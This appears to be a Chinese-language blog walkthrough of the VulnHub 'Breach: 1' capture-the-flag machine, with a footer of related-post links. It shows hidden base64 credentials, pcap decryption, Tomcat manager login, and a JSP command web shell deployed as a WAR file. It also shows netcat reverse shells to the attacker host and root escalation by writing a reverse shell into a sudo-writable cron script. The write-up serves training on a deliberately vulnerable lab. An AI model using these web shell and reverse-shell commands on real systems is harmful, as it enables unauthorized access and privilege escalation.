vulnhub - BREACH: 1

描述

作为多部分系列中的第一部分,Breach 1.0 旨在成为初学者到中级的 boot2root/CTF 挑战。解决将需要可靠的信息收集和持久性相结合。不遗余力。

VM 配置了静态 IP 地址 (192.168.110.140),因此您需要将主机专用适配器配置到此子网。

非常感谢 knightmare 和 rastamouse 的测试和反馈。

感谢 g0tmi1k 维护 #vulnhub 并主持我的第一个挑战。

如果您遇到任何问题,您可以在 Twitter 上找到我:https://twitter.com/mrb3n813 或在 #vulnhub 中的 IRC 上。

期待撰写文章,尤其是任何意外的本地/根路径。

环境搭建

修改此处为

修改为主机模式,kali也要改

重启后出现对应网卡配置即为设置成功

80端口利用

nmap扫描端口,发现端口全开,还是优先关注常用的端口

访问web页面,查看源码

<!DOCTYPE html>

<html>
<head>
<title>Welcome to Breach 1.0</title>
</head> <body bgcolor="#000000"> <font color="green">
<p>Initech was breached and the board of directors voted to bring in their internal Initech Cyber Consulting, LLP division to assist. Given the high profile nature of the breach and nearly catastrophic losses, there have been many subsequent attempts against the company. Initech has tasked their TOP consultants, led by Bill Lumbergh, CISSP and Peter Gibbons, C|EH, SEC+, NET+, A+ to contain and perform analysis on the breach.</p> <p>Little did the company realize that the breach was not the work of skilled hackers, but a parting gift from a disgruntled former employee on his way out. The TOP consultants have been hard at work containing the breach.
However, their own work ethics and the mess left behind may be the company's downfall.</p> <center><a href="initech.html" target="_blank"> <img src="/images/milton_beach.jpg"
width=500 height=500> </a></center> <!------Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo -----> </body>
</html>

得到注释,解两次base64得到一个用户密码

pgibbons:damnitfeel$goodtobeagang$ta

还有一个链接指向192.168.110.140/initech.html,源码有注释

<!--I'm sitting on a beach reading your email! -->

点击进入Employee portal会跳转到http://192.168.110.140/impresscms/user.php

指纹探测

有登录框,尝试登入。用刚才得到的用户密码

登录成功后发现有三封邮件

来自 ImpressCMS Admin

Posting sensitive content 

Peter, yeahhh, I'm going to have to go ahead and ask you to have your team only post any sensitive artifacts to the admin portal. My password is extremely secure. If you could go ahead and tell them all that'd be great. -Bill

来自Michael Bolton

IDS/IPS system

Hey Peter,

I got a really good deal on an IDS/IPS system from a vendor I met at that happy hour at Chotchkie's last week!

-Michael

来自ImpressCMS Admin

FWD: Thank you for your purchase of Super Secret Cert Pro!

Peter, I am not sure what this is. I saved the file here: 192.168.110.140/.keystore Bob ------------------------------------------------------------------------------------------------------------------------------------------- From: registrar@penetrode.com Sent: 02 June 2016 16:16 To: bob@initech.com; admin@breach.local Subject: Thank you for your purchase of Super Secret Cert Pro! Please find attached your new SSL certificate. Do not share this with anyone!

这封提到了192.168.110.140/.keystore,结合后文提到的SSL certificate应该就是SSL证书

但是还没有地方可以导入使用,利用搜索框,输入SSL试试

SSL implementation test capture

Team - I have uploaded a pcap file of our red team's re-production of the attack. I am not sure what trickery they were using but I cannot read the file. I tried every nmap switch from my C|EH studies and just cannot figure it out. http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to 'tomcat'. Is that useful?? Does anyone know what this is? I guess we are securely encrypted now? -Peter p.s. I'm going fishing for the next 2 days and will not have access to email or phone.

果然搜到了一封邮件,告诉我们有一个流量包,别名、存储密码和密钥都设置为“tomcat”

列出名为 "keystore" 的密钥库中存储的证书和密钥

keytool -list -keystore keystore

keytool -importkeystore -srckeystore keystore -destkeystore keystore -deststoretype pkcs12

导入SSL证书

生成符合要求的证书,打开流量包

编辑->首选项->Protocols->TLS->RSA keys list 单击key file 添加

看了一下各个流的信息

&lt;role rolename="manager-gui"/&gt;
&lt;user username="tomcat" password="s3cret" roles="manager-gui"/&gt;

这里拿到了一个用户密码

Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC

解base64得到tomcat:Tt\5D8F(#!*u=G)4m7zB,应该也是一个用户密码

还有一个可疑网页https://192.168.110.140:8443/_M@nag3Me/html,要开代理抓包访问

8443端口利用

访问时要求输入用户密码

tomcat:Tt\5D8F(#!*u=G)4m7zB登录成功

指纹探测

文件上传反弹shell

看到一个文件上传点,可传war包

将shell.jsp打包成war包

<%
Runtime.getRuntime().exec(request.getParameter("shell"));
%>

shell.jsp单独放置一个目录,命令行下进入当前目录

jar -cvf Login.war shell.jsp

访问文件位置https://192.168.110.140:8443/shell/shell.jsp,有定时任务删文件,所以选择反弹shell

nc -v 192.168.110.128 8888 -e /bin/bash

开启交互

python -c 'import pty;pty.spawn("/bin/sh")'

查看/etc/passwd,关注以下两个用户

milton:x:1000:1000:Milton_Waddams,,,:/home/milton:/bin/bash
blumbergh:x:1001:1001:Bill Lumbergh,,,:/home/blumbergh:/bin/bash

再寻找一下可疑文件,在/var/www/5446下有两个php文件

查看得到了mysql的用户密码

// Database Username
// Your database user account on the host
define( 'SDATA_DB_USER', 'root' ); // Database Password
// Password for your database user account
define( 'SDATA_DB_PASS', '' );

mysql数据查询

直接登入

mysql -u root -p

查表

拿到了用户milton的密码,md5破解

得到密码 thelaststraw,登入milton却发现无法提权

$ su milton
su milton
Password: thelaststraw milton@Breach:/var/www/5446$ sudo -l
sudo -l
[sudo] password for milton: thelaststraw Sorry, user milton may not run sudo on Breach.

到处找痕迹。。

发现两张图片的权限有区别,下载到本机

exiftool查看

bill.png果然拿到了信息,尝试后发现是用户blumbergh的密码

提权

登录查看可用提权方式

找到相应提权命令

那再次反弹shell

echo nc -v 192.168.110.128 7777 -e /bin/bash | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

注意!这里不要自己立刻运行,这样会提权失败需要等它自己触发

vulnhub - BREACH: 1的更多相关文章

  1. Vulnhub Breach1.0

    1.靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/C ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub 实战靶场Breach-1.0

    相比于CTF题目,Vulnhub的靶场更贴近于实际一些,而且更加综合考察了知识.在这里记录以下打这个靶场的过程和心得. 测试环境 Kali linux IP:192.168.110.128 Breac ...

  4. Breach - HTML5 时代,基于 JS 编写的浏览器

    Breach 是一款属于 HTML5 时代的开源浏览器项目,,完全用 Javascript 编写的.免费.模块化.易于扩展.这个浏览器中的一切都是模块,Web 应用程序在其自己的进程运行.通过选择合适 ...

  5. vulnhub writeup - 持续更新

    目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...

  6. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  7. HA Joker Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-joker,379/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.132Starti ...

  8. HA: ISRO Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-isro,376/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.131Startin ...

  9. LAMPSecurity: CTF6 Vulnhub Walkthrough

    镜像下载地址: https://www.vulnhub.com/entry/lampsecurity-ctf6,85/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202 ...

  10. Hacker Fest: 2019 Vulnhub Walkthrough

    靶机地址: https://www.vulnhub.com/entry/hacker-fest-2019,378/ 主机扫描: FTP尝试匿名登录 应该是WordPress的站点 进行目录扫描: py ...

随机推荐

  1. 02.go-admin IDE配置配置命令启动方式讲解笔记

    目录 go-admin版本 视频地址 一.代码地址 二.在线文档 三.首次配置需要初始化数据库资源信息(已初始化过数据库的,跳过此步) 配置数据库迁移 五.配置启动项目,用goland IDE进行启动 ...

  2. C# 实现Ping远程主机功能

    C#实现Ping远程主机功能. 1.引用nuget包 Wesky.Net.OpenTools OpenTools是一个用于提高开发效率的开源工具库.该项目为个人开源项目,采用MIT开源协议,永不更改协 ...

  3. 80x86汇编—80x86架构

    文章目录 计算机如何工作 存储器 逻辑地址到物理地址 寄存器 数据寄存器使用细节 其他知识点细节 堆栈Stack 标志寄存器 中断 汇编入门简单,深入难 使用8086架构进行学习,本章节如果没有学过计 ...

  4. Go-Zero定义API实战:探索API语法规范与最佳实践(五)

    前言 上一篇文章带你实现了Go-Zero模板定制化,本文将继续分享如何使用GO-ZERO进行业务开发. 通过编写API层,我们能够对外进行接口的暴露,因此学习规范的API层编写姿势是很重要的. 通过本 ...

  5. PCF 的 Npcf_PolicyAuthorization 服务化接口

    目录 文章目录 目录 引用 前文列表 术语 PCF Npcf_PolicyAuthorization 服务化操作类型 服务化接口参数类型 创建 Application Session Context: ...

  6. 防患未然 | AIRIOT城市管廊智能运维解决方案

      城市管廊构建复杂,管道内部传感器和附属设备居多,且近年来事故频发,地下空间属性人员进出管理不便,紧急情况应急调度措施有限.传统人工管理模式,运营成本高,且管理水平和质量也无法得到有利保障.因此在管 ...

  7. 当装饰者模式遇上Read Through缓存,一场技术的浪漫邂逅

    在<经验之谈:我为什么选择了这样一个激进的缓存大Key治理方案>一文中,我提到在系统中使用的缓存是旁路缓存模式,有读者朋友问,有没有用到过其他的缓存模式,本文将结合一个我曾经工作中的案例, ...

  8. 使用 TortoiseGit 时,报 Access denied 错误

    当输入正确的密码时,总是报如下错误: 解决方法: 然后弹出如下对话框: 然后编辑本地配置文件: 然后将红色框的SSH配置改为绿色框的 HTTP配置,点击保存,确定. 然后再进行拉取源码,先输入用户名, ...

  9. nginx分流配置

    user nginx; worker_processes 1; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; eve ...

  10. itest(爱测试) 4.5.2 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    itest 简介 itest 开源敏捷测试管理,testOps 践行者,极简的任务管理,测试管理,缺陷管理,测试环境管理4合1,又有丰富的统计分析.可按测试包分配测试用例执行,也可建测试迭代(含任务, ...